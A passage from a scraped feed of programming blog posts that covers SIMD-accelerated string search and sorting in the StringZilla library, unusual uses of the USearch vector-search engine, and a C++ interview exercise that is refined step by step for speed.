billion lines were simply too overwhelming for Python to handle. So, I went back to my demo code, breathed new life into it, and reshaped it into a Python library. And thus, StringZilla was born!\n1 2 3 4 5 from stringzilla import Str, File text: str = \u0026#39;some-string\u0026#39; text: Str = Str(\u0026#39;some-string\u0026#39;) text: File = File(\u0026#39;some-file.txt\u0026#39;) Str and File mimic the interface of a str, offering functions like contains, find, count, splitlines, and split, in addition to other operator overloads.\nNative: 1.5 GB/s. Heuristic: 4 GB/s. Heuristic with Arm NEON: 16 GB/s. Heuristic with x86 AVX: 13 GB/s. Even with its minimalistic implementation that doesn\u0026rsquo;t even bother to dodge misaligned loads, StringZilla holds its ground. The NEON version runs through 16 possible offsets simultaneously, employing SIMD to verify if a match is present and switching to scalar code if has_match == true for a particular block. Here\u0026rsquo;s a sneak peek at the hot path:\n1 2 3 4 5 6 7 8 uint32x4_t matches0 = vceqq_u32(vld1q_u32((uint32_t *)(text + 0)), prefix); uint32x4_t matches1 = vceqq_u32(vld1q_u32((uint32_t *)(text + 1)), prefix); uint32x4_t matches2 = vceqq_u32(vld1q_u32((uint32_t *)(text + 2)), prefix); uint32x4_t matches3 = vceqq_u32(vld1q_u32((uint32_t *)(text + 3)), prefix); uint32x4_t matches32x4 = vorrq_u32(vorrq_u32(matches0, matches1), vorrq_u32(matches2, matches3)); uint64x2_t matches64x2 = vreinterpretq_u64_u32(matches32x4); bool has_match = vgetq_lane_u64(matches64x2, 0) | vgetq_lane_u64(matches64x2, 1); Interestingly, the same concept can be effortlessly extended to cater to needles under 4 characters long\u0026hellip; in more ways than one. You can create standalone methods:\nFor one-character needles, you would only require matches0. For two-character needles, matches0 and matches1 would suffice. For three-character needles, you\u0026rsquo;d need matches0, matches1, and matches2. Despite a more straightforward but slower solution, I opted to keep the code brief. You might consider developing special functions for counting the number of times a single character appears in the string\u0026hellip;\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 inline static size_t strzl_neon_count_char(strzl_haystack_t h, char n) { char const *const end = h.ptr + h.len; // The plan is simple: skim through the misaligned part of the string. char const *aligned_start = (char const *)(strzl_divide_round_up((size_t)h.ptr, 16) * 16); size_t misaligned_len = (size_t)(aligned_start - h.ptr) \u0026lt; h.len ? (size_t)(aligned_start - h.ptr) : h.len; size_t result = strzl_naive_count_char({h.ptr, misaligned_len}, n); if (h.ptr + misaligned_len \u0026gt;= end) return result; // Count matches in the aligned part. char const *text = aligned_start; uint8x16_t n_vector = vld1q_dup_u8((uint8_t const *)\u0026amp;n); for (; (text + 16) \u0026lt;= end; text += 16) { uint8x16_t masks = vceqq_u8(vld1q_u8((uint8_t const *)text), n_vector); uint64x2_t masks64x2 = vreinterpretq_u64_u8(masks); result += __builtin_popcountll(vgetq_lane_u64(masks64x2, 0)) / 8; result += __builtin_popcountll(vgetq_lane_u64(masks64x2, 1)) / 8; } // Count matches in the misaligned tail. size_t tail_len = end - text; result += strzl_naive_count_char({text, tail_len}, n); return result; } While an impressive exercise, the effectiveness of implementing it may be questionable if we\u0026rsquo;re already operating with a fast scalar variant.\nPseudo-SIMD SIMD is an exceptional asset when the goal is optimal performance, assuming your hardware is known. The complexity arises when the software is distributed across millions of different devices globally. Balancing performance and adaptability, we may compile the same function multiple times with varying configurations, bundling them in a single binary and executing dynamic dispatch at the initiation stage.\nHowever, dynamic dispatch is far from simple. GCC provides the __builtin_cpu_supports function, but it\u0026rsquo;s limited to x86 flags. On Linux, getauxval allows checking of hardware abilities, but it\u0026rsquo;s exclusively available for Arm. This identical issue occurs in USearch and in all of my projects, from time to time compelling me to resort to JIT\u0026hellip;\nWhat if there was a more straightforward way? The Arm NEON registers are only 128 bits long. How much worse would the performance get if we use 64-bit general-purpose registers and emulate SIMD instructions with simple bitshifts and lookups? The answer - not much!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 uint64_t nnnnnnnn = n; nnnnnnnn |= nnnnnnnn \u0026lt;\u0026lt; 8; // broadcast `n` into `nnnnnnnn` nnnnnnnn |= nnnnnnnn \u0026lt;\u0026lt; 16; // broadcast `n` into `nnnnnnnn` nnnnnnnn |= nnnnnnnn \u0026lt;\u0026lt; 32; // broadcast `n` into `nnnnnnnn` for (; haystack + 8 \u0026lt;= end; haystack += 8) { uint64_t haystack_part = *(uint64_t const *)haystack; uint64_t match_indicators = ~(haystack_part ^ nnnnnnnn); match_indicators \u0026amp;= match_indicators \u0026gt;\u0026gt; 1; match_indicators \u0026amp;= match_indicators \u0026gt;\u0026gt; 2; match_indicators \u0026amp;= match_indicators \u0026gt;\u0026gt; 4; match_indicators \u0026amp;= 0x0101010101010101; if (match_indicators != 0) return haystack - begin + ctz64(match_indicators) / 8; } Let\u0026rsquo;s start with the simple case when the needle is only a single character long. The n is the \u0026ldquo;needle\u0026rdquo;, and ctz is short for \u0026ldquo;count trailing zeros\u0026rdquo;. This would work on almost every modern CPU, and it\u0026rsquo;s easy to extend for 2, 3, and 4-character needles. Adding boilerplate code to choose the suitable backend and match the misaligned head and tail, you can expect the following performance on the Apple M2 Pro CPU:\nNeedle Length STL StringZilla Backend 1 3.4 GB/s 12.25 GB/s strzl_naive_find_char 2 3.4 GB/s 6.4 GB/s strzl_naive_find_2chars 3 3.4 GB/s 4.1 GB/s strzl_naive_find_3chars 4 3.4 GB/s 3.4 GB/s strzl_naive_find_4chars 5 1.7 GB/s 3.1 GB/s strzl_naive_find_substr This may not be that impressive after the previous chapter, but this doesn\u0026rsquo;t need any specialized hardware and can easily be integrated into WebAssembly and other runtimes.\nSorting Aside from \u0026ldquo;search\u0026rdquo;, other common operations on strings include sorting, grouping, and partitioning. For those, StringZilla brings Strs to replace the list[str].\n1 2 3 4 5 6 7 8 def stringzilla_sort(strings, bit=0): pivot = partition(strings, bit) if bit \u0026lt; 32: stringzilla_sort(strings[:pivot], bit + 1) stringzilla_sort(strings[pivot:], bit + 1) else: sort(strings[:pivot]) sort(strings[pivot:]) The core idea is the same. Let\u0026rsquo;s Radix Sort based on the first 4 characters and finalize the rest with Quick Sort or any other standard algorithm. In C, the code is more mouthful.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 inline static void _strzl_sort_recursion( // strzl_array_t *array, size_t bit_idx, size_t bit_max, int (*comparator)(void const *, void const *, void *)) { if (!array-\u0026gt;count) return; // Partition a range of integers according to a specific bit value size_t split = 0; { size_t mask = (1ul \u0026lt;\u0026lt; 63) \u0026gt;\u0026gt; bit_idx; while (split != array-\u0026gt;count \u0026amp;\u0026amp; (array-\u0026gt;order[split] \u0026amp; mask)) ++split; for (size_t i = split + 1; i \u0026lt; array-\u0026gt;count; ++i) if (array-\u0026gt;order[i] \u0026amp; mask) strzl_swap(array-\u0026gt;order + i, array-\u0026gt;order + split), ++split; } // Go down recursively if (bit_idx \u0026lt; bit_max) { strzl_array_t a = *array; a.count = split; _strzl_sort_recursion(\u0026amp;a, bit_idx + 1, bit_max, comparator); strzl_array_t b = *array; b.order += split; b.count -= split; _strzl_sort_recursion(\u0026amp;b, bit_idx + 1, bit_max, comparator); } // Reached the end of recursion else { // Discard the prefixes for (size_t i = 0; i != array-\u0026gt;count; ++i) memset(\u0026amp;array-\u0026gt;order[i], 0, 4ul); qsort_r(array-\u0026gt;order, split, sizeof(size_t), comparator, (void *)array); qsort_r(array-\u0026gt;order + split, array-\u0026gt;count - split, sizeof(size_t), comparator, (void *)array); } } inline static int _strzl_sort_array_strncmp(void const *a_raw, void const *b_raw, void *array_raw) { strzl_array_t *array = (strzl_array_t *)array_raw; size_t a = *(size_t *)a_raw; size_t b = *(size_t *)b_raw; size_t a_len = array-\u0026gt;get_length(array-\u0026gt;handle, a); size_t b_len = array-\u0026gt;get_length(array-\u0026gt;handle, b); return strncmp( // array-\u0026gt;get_begin(array-\u0026gt;handle, a), array-\u0026gt;get_begin(array-\u0026gt;handle, b), a_len \u0026gt; b_len ? b_len : a_len); } inline static void strzl_sort(strzl_array_t *array) { // Export up to 4 bytes into the `array` bits themselves for (size_t i = 0; i != array-\u0026gt;count; ++i) { char const *begin = array-\u0026gt;get_begin(array-\u0026gt;handle, array-\u0026gt;order[i]); size_t length = array-\u0026gt;get_length(array-\u0026gt;handle, array-\u0026gt;order[i]); char *prefix = (char *)\u0026amp;array-\u0026gt;order[i]; memcpy(prefix, begin, length \u0026gt; 4ul ? 4ul : length); } _strzl_sort_recursion(array, 0, 32, _strzl_sort_array_strncmp); } Sadly, we need more boilerplate to make it run on Windows and macOS, as qsort_r isn\u0026rsquo;t broadly supported. And when supported, the comparator callback signature is different:\n1 2 3 4 5 #if defined(WIN32) || defined(_WIN32) || defined(__WIN32__) || defined(__NT__) || __APPLE__ void *array, void const *a, void const *b #else void const *a, void const *b, void *array #endif Accounting for that nonsense, we can finally benchmark. Taking the leipzig1M.txt and sorting 1 Million of its first whitespace-delimited tokens, we get:\nstd::sort: 139.82 milliseconds. strzl_sort: 26.43 milliseconds. 5x improvement. For 10 Million tokens:\nstd::sort: 1'959.33 milliseconds. strzl_sort: 214.57 milliseconds. 9x improvement. I have also implemented Merge Sort, Quick Sort, Insertion Sort, and a few other algorithm variations as part of an experiment. None of them performed well and were deprecated. It\u0026rsquo;s also worth noting, that this exact implementation only works for arrays with less than 4 Billion entries, but is easy to generalize further.\nApplying on Large Datasets This trick has already saved me a few thousand dollars in the last couple of weeks. The most apparent scenario would be when I read a huge file and split its parts between processes (pages[p::n]).\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from stringzilla import File from multiprocessing import Process, cpu_count def process_pages(pages: Iterable[str]): pass warc = File(\u0026#39;CC-xxxx.warc\u0026#39;) pages = warc.split(\u0026#39;WARC/1.1\\nWARC-Type: request\u0026#39;) n = cpu_count() pool = [Process(process_pages, args=(pages[p::n],) for p in range(n)) for p in pool: p.start() for p in pool: p.join() You probably have a few similar scenarios as well, so check out the repo and consider contributing 🤗 Possible next steps would be:\nrfind, rsplit, and other reverse-order interfaces. composing Strs from Python strings. stable in-place partitions and sorts (not so trivial without dynamic memory). The last one is not so trivial, if you want it fast, in-place, and without using any dynamic memory. It probably deserves a separate article, but the next one is again about abusing USearch ↩️\n","permalink":"https://ashvardanian.com/posts/stringzilla/","summary":"\u003cp\u003eA few years back, I found a simple trick in tandem with SIMD intrinsics to truly unleash the power of contemporary CPUs.\nI put the \u003ccode\u003estrstr\u003c/code\u003e of LibC and the \u003ccode\u003estd::search\u003c/code\u003e of the C++ Standard Templates Library to the test and hit a throughput of around 1.5 GB/s for substring search on a solitary core.\nNot too shabby, right?\nBut imagine, that the memory bandwidth could theoretically reach a striking 10-15 GB/s per core.\u003c/p\u003e","title":"StringZilla: 5x faster strings with SIMD \u0026 SWAR 🦖"},{"content":"Vector Search is hot! Everyone is pouring resources into a seemingly new and AI-related topic. But are there any non-AI-related use cases? Are there features you want from your vector search engine, but are too afraid to ask?\nLast week was 🔥 for vector search. Weaviate raised $50M, and Pinecone raised $100M... That\u0026#39;s a lot and makes you believe that vector search is hard. But it\u0026#39;s not. I have spent the last few days implementing a single-file vector search engine... 🧵 1/7 https://t.co/NBvKufNYTz\n\u0026mdash; Ash Vardanian (@ashvardanian) May 2, 2023 A few days ago, I built a new Vector Search engine - USearch. Entirely open-source, Apache 2.0, free for commercial use. It implements HNSW - \u0026ldquo;Hierarchical Navigable Small World\u0026rdquo; graphs, the most commonly used data-structure for Vector Search.\nIt\u0026rsquo;s short - just 1000 lines of C++11. It\u0026rsquo;s fast - assuming high memory-locality and SIMD tricks. It\u0026rsquo;s compatible with Python, JavaScript, Java, Rust, Go, and Wolfram. Most importantly, USearch supports non-equidimensional vectors and custom similarity measures! It\u0026rsquo;s a general-purpose data structure, limited only by your imagination and applicable to more than AI. Let\u0026rsquo;s highlight some weird use cases and under-the-radar features.\nGeo-Spatial Indexing When working with geospatial data, the most common representation is a combination of latitude and longitude. One would use the Haversine formula to compute the distance between two points on a sphere. USearch natively supports it. So without further ado, I took a CSV with geo-locations of 140 thousand towns and districts from Kaggle and tried to find all the closest cities.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from usearch import Index import pandas as pd import numpy as np import geocoder my_coordinates = np.array(geocoder.ip(\u0026#39;me\u0026#39;).latlng, dtype=np.float32) df = pd.read_csv(\u0026#39;cities.csv\u0026#39;) coordinates = np.zeros((df.shape[0], 2), dtype=np.float32) coordinates[:, 0] = df[\u0026#39;latitude\u0026#39;].to_numpy(dtype=np.float32) coordinates[:, 1] = df[\u0026#39;longitude\u0026#39;].to_numpy(dtype=np.float32) labels = np.array(range(df.shape[0]), dtype=np.longlong) index = Index(metric=\u0026#39;haversine\u0026#39;) index.add(labels, coordinates) matches, _, _ = index.search(my_coordinates, 10) print(df.iloc[matches]) Sitting in a cafe in San Francisco, I received this.\n1 2 3 4 5 6 7 8 9 10 11 id name state_id state_code state_name country_id country_code country_name latitude longitude wikiDataId 128666 125809 San Francisco 1416 CA California 233 US United States 37.77493 -122.41942 Q62 128430 121985 Mission District 1416 CA California 233 US United States 37.75993 -122.41914 Q7469 127999 114046 City and County of San Francisco 1416 CA California 233 US United States 37.77823 -122.44250 Q13188841 127991 113964 Chinatown 1416 CA California 233 US United States 37.79660 -122.40858 Q2720635 128483 122925 Noe Valley 1416 CA California 233 US United States 37.75018 -122.43369 Q3342640 128864 128294 Visitacion Valley 1416 CA California 233 US United States 37.71715 -122.40433 Q495373 128049 115006 Daly City 1416 CA California 233 US United States 37.70577 -122.46192 Q370925 127926 112800 Brisbane 1416 CA California 233 US United States 37.68077 -122.39997 Q917671 128712 125970 Sausalito 1416 CA California 233 US United States 37.85909 -122.48525 Q828729 127927 112825 Broadmoor 1416 CA California 233 US United States 37.68660 -122.48275 Q2944590 Dataset. Source.\nSto(n)ks We got lucky. We were working with GIS data, and USearch has the Haversine metric bundled. What if your metric of choice isn\u0026rsquo;t present? Let\u0026rsquo;s imagine you are analyzing the stock market or the price change of a particular asset. The first thing to do is to investigate which other assets follow the same trend. In other words, which assets are covariant? Covariance isn\u0026rsquo;t included.\nBut once you check the formula, you realize it resembles the \u0026ldquo;Inner Product\u0026rdquo; metric. If you have used FAISS, you know it doesn\u0026rsquo;t ship the angular distance, as it expects you to normalize vectors. Same here. We can pre-process the vectors, subtracting the np.mean, before passing to usearch.Index, and things will work.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import os import time from statistics import covariance from usearch import Index import pandas as pd import numpy as np directory: str = \u0026#39;stocks\u0026#39; last_days: int = 30 tickets: list[str] = [] ticket_to_prices: dict[str, np.array] = {} index = Index(ndim=last_days) for filename in os.listdir(directory): path = os.path.join(directory, filename) ticket = filename.split(\u0026#39;.\u0026#39;)[0] df = pd.read_csv(path) prices_list = df[\u0026#39;Close\u0026#39;][-last_days:].to_list() prices = np.zeros(last_days, dtype=np.float32) prices[-len(prices_list):] = prices_list tickets.append(ticket) index.add(len(index), prices - np.mean(prices)) ticket_to_prices[ticket] = prices selected_ticker = \u0026#39;AAPL\u0026#39; tic = time.perf_counter() selected_prices = ticket_to_prices[selected_ticker] approx_matches, _, _ = index.search( selected_prices - np.mean(selected_prices), 10) approx_tickets = [tickets[match] for match in approx_matches] toc = time.perf_counter() print(\u0026#39;Approximate matches:\u0026#39;, \u0026#39;,\u0026#39;.join(approx_tickets)) print(f\u0026#39;- Measurement took {toc - tic:0.4f} seconds\u0026#39;) tic = time.perf_counter() covariances = [ (ticket, covariance(selected_prices, prices)) for ticket, prices in ticket_to_prices.items()] covariances = sorted(covariances, key=lambda x: x[1], reverse=True) exact_tickets = [ticket for ticket, _ in covariances[:10]] toc = time.perf_counter() print(\u0026#39;Exact matches:\u0026#39;, \u0026#39;,\u0026#39;.join(exact_tickets)) print(f\u0026#39;- Measurement took {toc - tic:0.4f} seconds\u0026#39;) Running the script, we get a 2'000x performance improvement over the naive Python approach for a small collection of 5'884 entries covering a month of closing prices. The benefits would be more significant with more extensive collections and longer ranges.\n1 2 3 4 5 Approximate matches: ELC, NVR, SEB, BKNG, MKL, TPL, CABO, TSLA, GOOGL, GOOG - Measurement took 0.0001 seconds Exact matches: ELC, NVR, MKL, TPL, CABO, AZO, BA, ISRG, FLGE, AMZN - Measurement took 0.2396 seconds Dataset. Source.\nChess?! Imagine having to search through a database of chess positions. There are specialized methods, often based on Zobrist hashing. But there is also a more straightforward way. A chessboard can be easily encoded with 64 bytes, where each byte encodes a particular piece.\n1 2 3 4 5 enum piece_t { w_king_k, w_queen_k, b_king_k, b_queen_k, w_pawn_k, w_rook_k, b_pawn_k, b_rook_k, w_bishop_k, w_knight_k, b_bishop_k, b_knight_k, }; You can compare two boards with a Hamming distance - index_gt\u0026lt;hamming_gt\u0026lt;piece_t\u0026gt;\u0026gt;. Alternatively, you can design a custom scheme to weigh pieces differently, assuming pawns\u0026rsquo; positions affect the game less than those of queens.\n1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned weight(piece_t piece) { switch (piece) { case w_king_k: w_queen_k: b_king_k: b_queen_k: return 5u; case w_rook_k: w_bishop_k: w_knight_k: b_rook_k: b_bishop_k: b_knight_k: return 3u; default: return 1u; } } struct position_distance_t { unsigned operator () (piece_t const *board_a, piece_t const *board_b, std::size_t, std::size_t) const { return std::transform_reduce(board_a, board_a + 64, board_b, 0u, std::plus {}, \u0026amp;weight); } }; This should also work for any other board or card game with discrete states, like Chess, Shogi, or Poker.\nText Search With LLMs and Socratic Models, Natural Language Processing is on the rise. The go-to way of searching through texts is now embedding them with BERT, or something specialized, like ColBERT, and then putting outputs into a Vector Search engine: a modern representation and a modern index structure. What if we combine an ancient representation with a modern index, retro-futuristically?\nTokens Typically, one would tokenize the text, pass it to the transformer, and then put the embedding into a Vector Search engine. Still, one can compare the two texts by avoiding the intermediate step and intersecting the sets of present tokens to compute Jaccard similarity. For that USearch has SetsIndex.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 from usearch import SetsIndex from transformers import BertTokenizer sets_index = SetsIndex() tokenizer = BertTokenizer.from_pretrained(\u0026#39;bert-base-uncased\u0026#39;) def text2set(sample: str) -\u0026gt; np.array: encoding = tokenizer.encode(sample, truncation=True) encoding = encoding[1:-1] encoding = sorted(set(encoding)) encoding = np.array(encoding, dtype=np.int32) return encoding sets_index.add(42, text2set(\u0026#39;The answer to all your questions\u0026#39;)) Taking the HackerNews dataset and ~85K of its first entries, I\u0026rsquo;ve constructed an index and searched for theoretical physics.\n1 2 3 4 5 6 7 Results: - 1. A science podcast you can try is Physics Frontiers. It gets pretty technical. https://news.ycombinator.com/item?id=23588415 - 2. I wonder why exponentials are so common in nature\u0026amp;#x2F;physics but tetration is not https://news.ycombinator.com/item?id=32285985 - 3. Which is why of course physics departments pay you ~50% to do a PhD, whereas in Computer Science... https://news.ycombinator.com/item?id=21440764 Probably not ideal, but it works!\nHashes Variable length representations aren\u0026rsquo;t always fast to work with. If you know that the text will be having similar size, a common approach is to generate hash-like fingerprints. For that USearch has HashIndex.\n1 2 3 4 5 6 7 8 9 from usearch import HashIndex hash_index = HashIndex(bits=1024) def text2hashes(sample: str) -\u0026gt; np.array: words = sample.lower().split() return np.array([hash(word) for word in words], dtype=np.int64) hash_index.add(42, text2hashes(\u0026#39;The answer to all your questions\u0026#39;)) This won\u0026rsquo;t give you high-quality search results. Still, some companies would use a variation of that approach in complex multi-stage search pipelines.\nDataset. Source.\nMulti-Index Lookups Most Search systems operate on more than one embedding. Imagine an online marketplace like Airbnb or Booking. Once you open a listing, the platform will suggest a few alternatives. It will search for nearby locations with similar pictures and textual descriptions. Typically, geospatial indexing will be handled by a specialized system, but we can now put everything together.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from usearch import Index from uform import get_model from ucall.rich_posix import Server server = Server() index_images = Index(ndim=256) index_texts = Index(ndim=256) index_coordinates = Index(metric=\u0026#39;haversine\u0026#39;) model = get_model(\u0026#39;unum-cloud/uform-vl-english\u0026#39;) @server def recommend(text: str, image: Image, latitude: float, longitude: float) -\u0026gt; list[int]: vector_image = model.encode_image(model.preprocess_image(image)).numpy() vector_text = model.encode_text(model.preprocess_text(text)).numpy() vector_coordinate = np.array([latitude, longitude], dtype=np.float32) similar_images, _, _ = index_images.search(vector_image, 30) similar_texts, _, _ = index_texts.search(vector_text, 30) similar_coordinates, _, _ = index_coordinates.search(vector_coordinate, 100) # If a listing is physically close and matches text or image, it must be first. similar_contents = set(similar_images) + set(similar_texts) return [label for label in similar_coordinates if label in similar_contents] server.run() Fused Embeddings When using mid-fusion models like UForm, you can get a multi-modal embedding out of the box. Thus you can save one index lookup and still get more relevant results.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 index_contents = Index(ndim=384) index_coordinates = Index(metric=\u0026#39;haversine\u0026#39;) model = get_model(\u0026#39;unum-cloud/uform-vl-english\u0026#39;) @server def recommend(text: str, image: Image, latitude: float, longitude: float) -\u0026gt; list[int]: vector_content = model.encode_multimodal( image=model.preprocess_image(image), text=model.preprocess_text(text)).numpy() vector_coordinate = np.array([latitude, longitude], dtype=np.float32) similar_contents, _, _ = index_contents.search(vector_content, 60) similar_coordinates, _, _ = index_coordinates.search(vector_coordinate, 100) # If a listing is physically close and matches contents, it must be first. return [label for label in similar_coordinates if label in similar_contents] JIT-ed User Defined Functions If you use a less specialized model, don\u0026rsquo;t worry. You can concatenate the textual and image vector and customize the index to take your alternative similarity function. In C++, it\u0026rsquo;s as easy as passing a custom template argument. With Numba, however, you can get to the C++ layer without getting to the C++ layer. Once you JIT-compile your function, you can pass it\u0026rsquo;s address to the C++ library like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from numba import cfunc, types, carray signature = types.float32( types.CPointer(types.float32), types.CPointer(types.float32), types.size_t, types.size_t) @cfunc(signature) def metric(a, b, _, _): a_array = carray(a, 512) b_array = carray(b, 512) text_similarity = 0.0 image_similarity = 0.0 for i in range(256): image_similarity += a_array[i] * b_array[i] text_similarity += a_array[i + 256] * b_array[i + 256] return 2 - image_similarity - text_similarity index_contents = Index(ndim=512, metric_pointer=metric.address) @server def recommend(text: str, image: Image, latitude: float, longitude: float) -\u0026gt; list[int]: vector_image = model.encode_image(model.preprocess_image(image)).numpy() vector_text = model.encode_text(model.preprocess_text(text)).numpy() vector_content = np.concatenate((vector_image, vector_text)) similar_contents, _, _ = index_contents.search(vector_content, 60) ... We have just built a composite recommendation system with zero microservices or dollars spent on private APIs. The only thing left is to choose an excellent neural network tuned for your domain! Which may not even be needed with the upcoming snapshots of UForm, promising better generalization across domains.\nNot bad, right? HNSW is a simple data structure, but unlike many older approaches, it has many applications. That\u0026rsquo;s why we aren\u0026rsquo;t keen on quantization. It takes away too many excellent properties. That being said, we know that the core algorithm has space for improvement! So feel free to fork it and try it yourself!\nUSearch in-memory vector search 🔍 UStore up to 10x faster multi-modal database 💾 UForm tiny efficient multi-modal transformers 🧠 UCall up to 100x faster networking ☎️ Don\u0026rsquo;t forget to star on GitHub 🤗 and reach out on Discord if you have any questions.\n","permalink":"https://ashvardanian.com/posts/abusing-vector-search/","summary":"\u003cp\u003eVector Search is hot!\nEveryone is pouring resources into a seemingly new and AI-related topic.\nBut are there any non-AI-related use cases?\nAre there features you want from your vector search engine, but are too afraid to ask?\u003c/p\u003e\n\u003cblockquote class=\"twitter-tweet\" data-dnt=\"true\"\u003e\u003cp lang=\"en\" dir=\"ltr\"\u003eLast week was 🔥 for vector search. Weaviate raised $50M, and Pinecone raised $100M... That\u0026#39;s a lot and makes you believe that vector search is hard. But it\u0026#39;s not. I have spent the last few days implementing a single-file vector search engine... 🧵 1/7 \u003ca href=\"https://t.co/NBvKufNYTz\"\u003ehttps://t.co/NBvKufNYTz\u003c/a\u003e\u003c/p\u003e","title":"Abusing Vector Search for Texts, Maps, and Chess ♟️"},{"content":"Some of the most common questions in programming interviews are about strings - reversing them, splitting, joining, counting, etc. These days, having to interview more and more developers across the whole spectrum, we see how vastly the solutions, even to the most straightforward problems, differ depending on experience. Let\u0026rsquo;s imagine a test with the following constraints:\nYou must find the first occurrence of every unique string in a non-empty array. You are only allowed to use the standard library, no other dependencies. You have 20 minutes. In Python, the solution may look like this:\n1 2 3 4 5 6 def first_offsets(strings: list[str]) -\u0026gt; dict[str, int]: offsets = {} for idx, string in strings: if string not in offsets: offsets[string] = idx return offsets There must be a way to make this faster, even in Python, but as often happens, the hack may backfire once the next CPython version comes out. The simplest solution is generally the best. In C++, that\u0026rsquo;s not the case. There are many ways to implement the same thing, and the performance difference can be staggering.\nJunior C++ allows you to combine very high-level and low-level abstractions, giving you opportunities to improve almost any code snippet or shoot yourself in the foot.\nWe will do just that. Let\u0026rsquo;s start with a solution that any developer can write after the first two C++ tutorials and progress through their career, marking potential differences in answers of Junior, Mid, Senior, and Enthusiast developers and benchmarking everything to get some unexpected results.\n1 2 3 4 5 6 7 8 9 10 11 12 13 #include \u0026lt;map\u0026gt; #include \u0026lt;string\u0026gt; #include \u0026lt;vector\u0026gt; std::map\u0026lt;std::string, int\u0026gt; first_offsets(std::vector\u0026lt;std::string\u0026gt; strings) { std::map\u0026lt;std::string, int\u0026gt; offsets; for (int idx = 0; idx \u0026lt; strings.size(); idx++) if (offsets.find(strings[idx]) == offsets.end()) offsets[strings[idx]] = idx; return offsets; } Mid A mid-developer will probably have the following suggestions looking at that code:\nCapturing a copy of an input std::vector\u0026lt;std::string\u0026gt; argument by value can be more expensive than the logic inside the function. Using std::map is slower than std::unordered_map, both asymptotically and practically. One is a Binary Search Tree. Another one is a Hash-Table. You should probably use the latter if you don\u0026rsquo;t need sorted iterators. Using int results in comparing integers of a different sign as the strings.size() output is a std::size_t In the end, a mid developer may add that offsets.find can be replaced with an offsets.contains in C++20 and patch the code like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 #include \u0026lt;unordered_map\u0026gt; #include \u0026lt;string\u0026gt; #include \u0026lt;vector\u0026gt; std::unordered_map\u0026lt;std::string, std::size_t\u0026gt; first_offsets(std::vector\u0026lt;std::string\u0026gt; const \u0026amp; strings) { std::unordered_map\u0026lt;std::string, std::size_t\u0026gt; offsets; for (std::size_t idx = 0; idx \u0026lt; strings.size(); idx++) if (!offsets.contains(strings[idx])) offsets[strings[idx]] = idx; return offsets; } Senior Senior developers would notice that the previous solution performs two lookups for every new unique string. First, when checking for presence with contains, and then on insertion. The standard has more functionality than just operator [] overloads: insert, emplace, and most importantly try_emplace, which will only add an entry, if the key isn\u0026rsquo;t present.\n1 2 3 4 5 6 7 8 9 10 11 12 13 #include \u0026lt;unordered_map\u0026gt; #include \u0026lt;span\u0026gt; #include \u0026lt;string\u0026gt; #include \u0026lt;string_view\u0026gt; std::unordered_map\u0026lt;std::string_view, std::size_t\u0026gt; first_offsets(std::span\u0026lt;std::string\u0026gt; strings) { std::unordered_map\u0026lt;std::string_view, std::size_t\u0026gt; offsets; for (std::size_t idx = 0; idx != strings.size(); ++idx) offsets.try_emplace(strings[idx], idx); return offsets; } Another anti-pattern is to use std::vector\u0026lt;...\u0026gt; const \u0026amp;, where all you need is just a span. The std::vector is a very specific class template, that instantiates with a specific allocator and owns the memory. But the logic of this function is independent of the memory allocator used for the input, so it is wiser to use std::span. It is a surprisingly new tool, introduced in C++20, but every major C++ framework implements something like this. A Span in Abseil, Slice in RocksDB, and so on.\nSimilarly, dynamically-allocating containers placed inside other dynamically allocating containers should be avoided where possible. In this case it is easy, as we can use a std::string_view mapping into parts of the original input.\nEnthusiast Writing general-purpose libraries for most of the last decade, I have a natural tendency to overcomplicate things. A passion for cutting-edge tech may only sometimes be an advantage, but let\u0026rsquo;s explore how we can improve the previous already good solution.\nThe std::string_view and std::size_t, being 16 and 8 bytes, respectively, will be combined into a std::pair\u0026lt;std::string_view, std::size_t\u0026gt;, resulting in a 32-byte structure, not 24. Moreover, one can\u0026rsquo;t stop thinking that we don\u0026rsquo;t need the std::size_t to solve the puzzle. As everyone knows, std::unordered_map is not the fastest Hash-Table out there, and it is far from being space-efficient. To be more efficient, we need a Hash-Table with continuous addressing. The \u0026ldquo;Apple to Apple comparison\u0026rdquo; article covers HTs in more details, benchmarking Arm-based Macs against older Intel-based versions and a $50K server.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #include \u0026lt;bit\u0026gt; // `std::bit_ceil` #include \u0026lt;span\u0026gt; #include \u0026lt;limits\u0026gt; // `std::numeric_limits` #include \u0026lt;string\u0026gt; #include \u0026lt;vector\u0026gt; #include \u0026lt;optional\u0026gt; #include \u0026lt;functional\u0026gt; // `std::hash` #include \u0026lt;string_view\u0026gt; using string_ptr_t = std::string const *; class flat_unordered_set_t { string_ptr_t first {}; std::vector\u0026lt;string_ptr_t\u0026gt; hashed {}; public: flat_unordered_set_t(std::span\u0026lt;std::string\u0026gt; strings) : first(strings.data()), hashed(std::bit_ceil\u0026lt;std::size_t\u0026gt;(strings.size() * 1.3)) { std::fill_n(hashed.data(), hashed.size(), nullptr); } void try_emplace(std::string const \u0026amp; string) { auto hash = std::hash\u0026lt;std::string_view\u0026gt; {}(string); auto slot = hash \u0026amp; (hashed.size() - 1); while (hashed[slot] \u0026amp;\u0026amp; *hashed[slot] != string) slot = (slot + 